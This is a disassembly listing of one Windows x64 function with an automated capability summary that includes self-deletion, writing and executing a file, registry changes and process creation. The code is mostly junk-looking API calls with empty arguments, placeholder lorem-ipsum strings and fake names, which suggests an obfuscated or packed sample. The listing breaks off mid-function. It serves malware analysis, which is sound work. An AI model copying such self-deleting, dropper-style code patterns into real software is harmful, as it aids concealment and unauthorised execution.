Function at 0x414640
Capabilities:
Clear file content
Create pipe
Create process on windows
Create two anonymous pipes
Delete file
Get common file path
Read file on windows
Self delete
Set current directory
Set registry value
Write and execute a file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
xor ecx, ecx
call fcn.00414620
mov rdx, qword [0x004cacb0]
mov dword [rdx], eax
cmp eax, 0x7268
jne 0x414c04
mov r15, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call r15
mov r13, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Ut_rerum_omnis_eum
lea rcx, str.LeannaGibson
call r13
mov rsi, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Doloribus_rerum_sit_consequatur_temporibus
call rsi
mov rax, qword [0x004cad50]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca400]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call rdi
lea r8, str.Et_ut_esse_nobis_nemo_numquam
xor edx, edx
xor ecx, ecx
call rsi
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca450]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca4c0]
mov dword [rax], edx
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov ecx, 0x32a37519
call fcn.00414620
mov rdx, qword [0x004cadd0]
mov r11, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.EraRodriguez
mov dword [rdx], eax
mov rax, qword [0x004ca290]
mov qword [rsp + 0x58], r11
mov dword [rax], 0x9a15fa57
mov rax, qword [0x004cabb0]
mov edx, dword [rax]
mov rax, qword [0x004ca300]
mov dword [rax], edx
call r11
xor edx, edx
xor ecx, ecx
call rdi
mov r10, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Facilis_quae_sapiente_eligendi_rerum_sit
mov qword [rsp + 0x68], rax
call rax
lea r8, str.Ex_repudiandae_cupiditate_odit
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0x29276f00
call fcn.00414620
mov r11, qword [rsp + 0x58]
mov rdx, qword [0x004ca9a0]
lea rcx, str.ReginaldStiedemann
mov qword [rsp + 0x78], r11
mov dword [rdx], eax
call r11
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca240]
xor ecx, ecx
mov dword [rax], 0xd71d547f
call r12
mov rax, qword [0x004ca1b0]
mov ecx, 0x27b6233b
mov dword [rax], 0xda54d31b
call fcn.00414620
mov rdx, qword [0x004ca690]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x60], rax
call rax
mov ecx, 0xfb360b12
call fcn.00414620
mov rdx, qword [0x004ca4e0]
lea rcx, str.Voluptas_ipsa_commodi_beatae_cum_neque_vel_autem_pariatur_beatae
mov dword [rdx], eax
mov rax, qword [0x004ca6b0]
mov edx, dword [rax]
mov rax, qword [0x004ca9f0]
mov dword [rax], edx
lea rdx, str.ProfOlinVonII
call r13
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r14
xor ecx, ecx
call r14
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rbx
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca210]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x62c5e144
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov rax, qword [0x004ca540]
mov r11, qword [rsp + 0x78]
lea rcx, str.Labore_distinctio_labore_et_illo_dolore
mov dword [rax], 0x62e247ef
call r11
xor edx, edx
xor ecx, ecx
call r15
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004ca500]
mov r15, qword [0x004ca5e0]
xor ecx, ecx
mov dword [rax], 0x60013593
mov rax, qword [0x004ca400]
mov eax, dword [rax]
mov dword [r15], eax
call rbx
mov ecx, 0x49010f54
call fcn.00414620
mov rdx, qword [0x004ca530]
mov dword [rdx], eax
mov rax, qword [0x004caa30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa80]
mov ecx, 0xf2bae357
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cae00]
lea r8, str.MrBuddyLeannon
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r15]
mov rax, qword [0x004ca280]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [0x004caba0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca590]
lea rcx, str.Ut_commodi_et_nulla
mov dword [rdx], eax
lea rdx, str.At_vel_placeat_voluptates
call r13
mov r9, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], r9
call r9
xor ecx, ecx
call r12
lea rdx, str.At_ut_a_aut_et
lea rcx, str.Non_est_rerum_nemo_sit
call r13
xor ecx, ecx
call rbx
mov rax, qword [0x004ca330]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca350]
mov ecx, 0x172567ef
mov dword [rdx], eax
call fcn.00414620
mov r11, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov r13, qword [0x004caeb0]
xor ecx, ecx
mov qword [rsp + 0x78], r11
mov dword [r13], eax
call r11
mov ecx, 0x36101c48
call fcn.00414620
mov ecx, 0x98a475bb
mov dword [r13], eax
call fcn.00414620
mov rdx, qword [0x004ca420]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004caef0]
lea rcx, str.Sed_recusandae_harum_fuga_facilis_voluptatem_labore_facilis_et_non_totam
mov edx, dword [rax]
mov rax, qword [0x004ca760]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004caa40]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae70]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca480]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2e0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor edx, edx
xor ecx, ecx
call rdi
lea r8, str.Molestias_ex_iure_optio_in
xor edx, edx
xor ecx, ecx
call rsi
mov ecx, 0x2c745c2
call fcn.00414620
mov rsi, qword [0x004ca670]
mov rdi, qword [0x004caa90]
mov ecx, 0xa4691f1d
mov dword [r15], 0x52218448
mov dword [rsi], eax
mov rax, qword [0x004ca4f0]
mov edx, dword [rdi]
mov dword [rax], 0xf17a02e0
mov rax, qword [0x004ca1c0]
mov dword [rax], edx
call fcn.00414620
xor edx, edx
mov r9, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004caa00]
mov rdi, qword [0x004ca6f0]
mov eax, dword [rax]
mov dword [rdi], eax
call r9
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
call r13
mov r11, qword [rsp + 0x78]
xor ecx, ecx
call r11
mov edx, dword [rdi]
mov rax, qword [str.7U5]
xor ecx, ecx
mov dword [rax], edx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r10, qword [rsp + 0x88]
xor ecx, ecx
call r10
xor ecx, ecx
call rbx
mov rax, qword [0x004caac0]
mov edx, dword [rsi]
xor ecx, ecx
mov dword [rax], 0x6d598c3b
mov rax, qword [0x004ca2b0]
mov dword [rax], edx
mov rax, qword [0x004ca7d0]
mov dword [rax], 0xa6004068
call r12
mov ecx, 0xf6d55ade
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2f0]
mov dword [rdx], eax
xor edx, edx
call r13
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004ca680]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x27f6a46a
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004caae0]
mov edx, dword [rax]
mov rax, qword [0x004cab00]
mov dword [rax], edx
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x415120
mov rax, qword [0x004ca290]
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rax], 0xf8f688f5
mov rax, qword [0x004ca730]
mov dword [rax], 0x5ec0067d
mov rax, qword [0x004ca410]
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cab00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac70]
mov dword [rdx], eax
mov rax, qword [0x004caa80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca270]
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rdx], eax
call r12
mov rax, qword [0x004ca760]
xor r8d, r8d
xor ecx, ecx
mov r10, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov edx, dword [rax]
mov rax, qword [0x004ca7d0]
mov qword [rsp + 0x50], r10
mov dword [rax], edx
mov rax, qword [0x004ca3a0]
xor edx, edx
mov dword [rax], 0x9e87a928
call r10
mov rax, qword [0x004ca9b0]
lea r8, str.DrVilmaYostJr
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cae50]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov ecx, 0xf6d08866
call fcn.00414620
mov r11, qword [0x004ca650]
mov rdx, qword [0x004cae90]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r11]
mov rax, qword [0x004cab20]
mov dword [rax], edx
call rbp
mov rax, qword [0x004ca2e0]
mov rbx, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa00]
mov dword [rax], edx
call rbx
mov r13, qword [0x004cabc0]
mov rax, qword [0x004ca370]
mov edx, dword [r13]
mov dword [rax], edx
mov rax, qword [0x004ca5d0]
mov dword [rax], 0xa66b11
mov rax, qword [0x004ca9a0]
mov dword [rax], 0x3f49087e
mov rax, qword [0x004ca390]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca4e0]
mov rsi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rdx], eax
xor edx, edx
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004cae20]
mov edx, dword [rax]
mov rax, qword [0x004ca7f0]
mov dword [rax], edx
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca300]
mov ecx, 0x33f35520
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca4c0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca260]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xb1421451
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call rbx
mov r15, qword [0x004ca3c0]
mov rax, qword [0x004ca600]
mov ecx, 0x19c37a1f
mov edx, dword [r15]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca1b0]
mov dword [rdx], eax
mov rax, qword [0x004ca810]
mov edx, dword [rax]
mov rax, qword [0x004cadc0]
mov dword [rax], edx
mov rax, qword [str.7U5]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac50]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rax, qword [0x004ca1f0]
mov rdi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rax], 0x61dcd128
mov rax, qword [0x004ca5c0]
mov dword [rax], 0x90bdc6f5
call rdi
mov rax, qword [0x004cac30]
xor edx, edx
lea rcx, str.Voluptatem_excepturi_magni_quo_velit_nobis_ut
mov dword [rax], 0x848bcc04
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004ca7c0]
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [rax], 0x70c44668
call r14
mov rax, qword [0x004caba0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cadd0]
mov dword [rax], edx
xor edx, edx
call rsi
mov ecx, 0xf985bbf2
call fcn.00414620
mov rdx, qword [0x004ca380]
mov r11, qword [0x004ca650]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca220]
mov edx, dword [rax]
mov rax, qword [0x004cadf0]
mov dword [rax], edx
mov edx, dword [r11]
mov rax, qword [0x004ca360]
mov dword [rax], edx
mov rax, qword [0x004ca610]
mov dword [rax], 0xa7efa6b9
call rbp
mov rax, qword [0x004caea0]
mov rbp, qword [0x004caef0]
xor ecx, ecx
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004ca260]
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov dword [rax], edx
mov rax, qword [0x004ca7c0]
mov edx, dword [rax]
mov rax, qword [0x004ca6b0]
mov dword [rax], edx
call rsi
mov rax, qword [0x004ca6a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caf40]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor r8d, r8d
mov r10, qword [rsp + 0x50]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004ca340]
xor ecx, ecx
mov dword [r15], 0x9e449873
mov dword [rbp], 0x2ffce188
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rax], 0x2612ef7a
mov rax, qword [0x004ca640]
mov dword [rax], 0xa47763ec
call rbp
mov rax, qword [0x004ca820]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caab0]
mov dword [rdx], eax
mov rax, qword [0x004ca1f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2d0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca9a0]
mov rdx, qword [0x004cab50]
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
mov rax, qword [0x004ca580]
mov ecx, dword [rax]
call fcn.00414620
mov r15, qword [0x004cab80]
xor ecx, ecx
mov dword [r15], eax
call rdi
mov rax, qword [0x004ca3e0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca4d0]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004ca610]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca740]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rsi
mov rax, qword [0x004ca1c0]
mov rdi, qword [0x004cada0]
xor ecx, ecx
mov dword [rax], 0x7220bf75
mov rax, qword [0x004cab50]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cade0]
mov edx, dword [rax]
mov rax, qword [0x004ca1a0]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [0x004ca4a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca250]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rax, qword [0x004ca5d0]
xor ecx, ecx
mov dword [r13], 0x3598ec67
mov eax, dword [rax]
mov dword [rdi], eax
call rbp
mov ecx, 0x6f19957f
call fcn.00414620
mov rdx, qword [0x004ca330]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rax, qword [0x004ca610]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac00]
mov dword [rax], edx
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rax, qword [0x004cae80]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [r15], eax
call rsi
mov rax, qword [0x004cad90]
mov rsi, qword [0x004cab00]
mov eax, dword [rax]
mov dword [rsi], eax
xor eax, eax
lea rdi, [rsp + 0x128]
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xf8]
mov ecx, 6
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x110]
mov ecx, 6
rep stosd dword [rdi], eax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x4159ea
mov rbx, qword [sym.imp.KERNEL32.dll_FindClose]
call rbx
mov rax, qword [0x004ca590]
mov rsi, qword [0x004ca7f0]
mov ecx, 0x6dee6963
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004caf60]
mov dword [rax], 0xa06ec400
call fcn.00414620
mov rsi, qword [0x004ca720]
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cac20]
mov edx, dword [rax]
mov rax, qword [0x004cab20]
mov dword [rax], edx
xor edx, edx
call r14
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
mov rbp, qword [0x004ca350]
mov r15, qword [0x004caa80]
xor ecx, ecx
mov rdi, qword [0x004ca410]
mov eax, dword [rbp]
mov dword [r15], eax
mov rax, qword [0x004cae00]
mov dword [rax], 0x93bd27f9
mov rax, qword [0x004cae60]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca1f0]
mov edx, dword [rax]
mov rax, qword [0x004ca540]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cae70]
lea rcx, str.Fugit_vitae_omnis_at_possimus_molestias_voluptas
mov dword [rax], 0xe4b5b294
mov rax, qword [0x004ca520]
mov edx, dword [rax]
mov rax, qword [0x004ca790]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.VaughnCrooks
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004ca9e0]
mov rdi, qword [0x004cae40]
xor ecx, ecx
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov dword [rax], 0x1f4462a0
mov rax, qword [0x004caa00]
mov eax, dword [rax]
mov dword [rdi], eax
call r12
mov r13, qword [0x004ca310]
mov rax, qword [0x004ca6d0]
xor ecx, ecx
mov edx, dword [r13]
mov dword [rax], edx
mov rax, qword [0x004ca9b0]
mov edx, dword [rax]
mov rax, qword [0x004caa90]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x70], rax
call rax
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004cab30]
mov rdi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Occaecati_cumque_necessitatibus_omnis
mov edx, dword [rax]
mov rax, qword [0x004caec0]
mov dword [rax], edx
xor edx, edx
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0x63838cb2
call fcn.00414620
mov rdx, qword [0x004ca770]
mov ecx, 0x7fa27c0a
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cab60]
lea r8, str.Deserunt_et_modi_animi_sunt_ab_corporis
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004ca800]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca580]
mov r11, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rdx], eax
mov rax, qword [0x004cad30]
mov qword [rsp + 0x90], r11
mov edx, dword [rax]
mov rax, qword [0x004ca1e0]
mov dword [rax], edx
xor edx, edx
call r11
mov rax, qword [0x004ca690]
mov rdx, qword [0x004ca410]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov edx, dword [r15]
mov rax, qword [0x004ca560]
mov dword [rax], edx
mov rax, qword [0x004cadf0]
mov edx, dword [rax]
mov rax, qword [0x004cac40]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004ca340]
mov ecx, dword [rax]
call fcn.00414620
mov dword [r13], eax
mov rax, qword [0x004cadc0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caee0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [str.7U5]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
mov rax, qword [0x004ca2d0]
xor edx, edx
mov dword [rax], 0x4c52b690
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov qword [rsp + 0x78], rax
call rax
mov r10, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], r10
call r10
mov eax, dword [rbp]
mov rsi, qword [0x004ca380]
mov dword [rsi], eax
mov rax, qword [0x004ca420]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca3a0]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004caf10]
mov r13, qword [0x004ca2f0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004ca7f0]
mov dword [rax], 0xa15551a3
call rbx
mov rax, qword [0x004ca5c0]
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rax], 0xbca9d913
call rbp
mov rax, qword [0x004ca4e0]
xor edx, edx
xor ecx, ecx
mov rsi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov dword [rax], 0xcfd633b1
mov rax, qword [0x004ca9e0]
mov dword [rax], 0xa53ce578
call rsi
mov rax, qword [0x004ca520]
xor edx, edx
xor ecx, ecx
lea r8, str.HarrisonSchulistII
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca7d0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf3e9aebb
call r14
xor r9d, r9d
mov r14, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r14
xor edx, edx
lea r8, str.DrJaymeHettingerDVM
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca690]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca630]
mov r11, qword [rsp + 0x90]
mov dword [rdx], eax
mov rax, qword [0x004cae40]
xor edx, edx
mov dword [rax], 0xd04f51da
call r11
mov ecx, 0x31328168
call fcn.00414620
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [r13], eax
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r14
mov rax, qword [0x004ca820]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca610]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov ecx, 0xe98cd02a
call fcn.00414620
mov r14, qword [str.Z2iy]
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [0x004ca360]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004ca690]
mov dword [rax], 0x39c0b4d2
call rbx
lea rdx, str.CalebSchoen
lea rcx, str.Quia_et_omnis
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca480]
mov ecx, 0x8e0931f6
mov dword [rax], 0xc1b4aa59
call fcn.00414620
mov rdx, qword [0x004cac90]
mov r10, qword [rsp + 0x88]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r10
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca5c0]
mov rdx, qword [0x004ca370]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca300]
mov rdx, qword [0x004caa00]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cad90]
mov rdx, qword [0x004ca3a0]
mov dword [rax], 0xf68b6e65
mov rax, qword [0x004ca530]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cad80]
mov dword [rax], 0xc75d8bb0
mov rax, qword [0x004ca1c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab70]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x128f2503
call fcn.00414620
mov rdx, qword [0x004ca3f0]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x7180ace1
call fcn.00414620
mov r13, qword [0x004ca460]
mov ecx, 0xba026259
mov dword [r13], eax
mov rax, qword [0x004ca630]
mov edx, dword [rax]
mov rax, qword [0x004ca810]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca770]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caed0]
mov rdx, qword [0x004ca340]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca7e0]
mov r10, qword [0x004caab0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa50]
mov dword [rax], edx
mov eax, dword [r10]
mov rdx, qword [0x004ca7d0]
mov dword [rdx], eax
mov rax, qword [str.7U5]
mov dword [rax], 0xf1d649e4
mov rax, qword [rsp + 0x50]
call rax
mov ecx, dword [r14]
call fcn.00414620
mov rdx, qword [0x004caa30]
lea rcx, str.DrJermainSchowalter
mov dword [rdx], eax
mov rax, qword [0x004caad0]
xor edx, edx
mov dword [rax], 0x3483dce5
mov rax, qword [0x004cadb0]
mov dword [rax], 0x1ade1601
call rdi
mov rax, qword [0x004caf50]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rax], 0xf8f71b60
mov rax, qword [0x004ca7c0]
mov dword [rax], 0xc1f19e21
mov rax, qword [0x004caf20]
mov edx, dword [rax]
mov rax, qword [0x004cac60]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
lea rdx, str.Placeat_corrupti_nisi_est_consequatur_et_ad_cum_voluptatum_qui_et_explicabo_ipsum_autem
lea rcx, str.MsJadaReichertIV
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca380]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7d0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca4c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1f0]
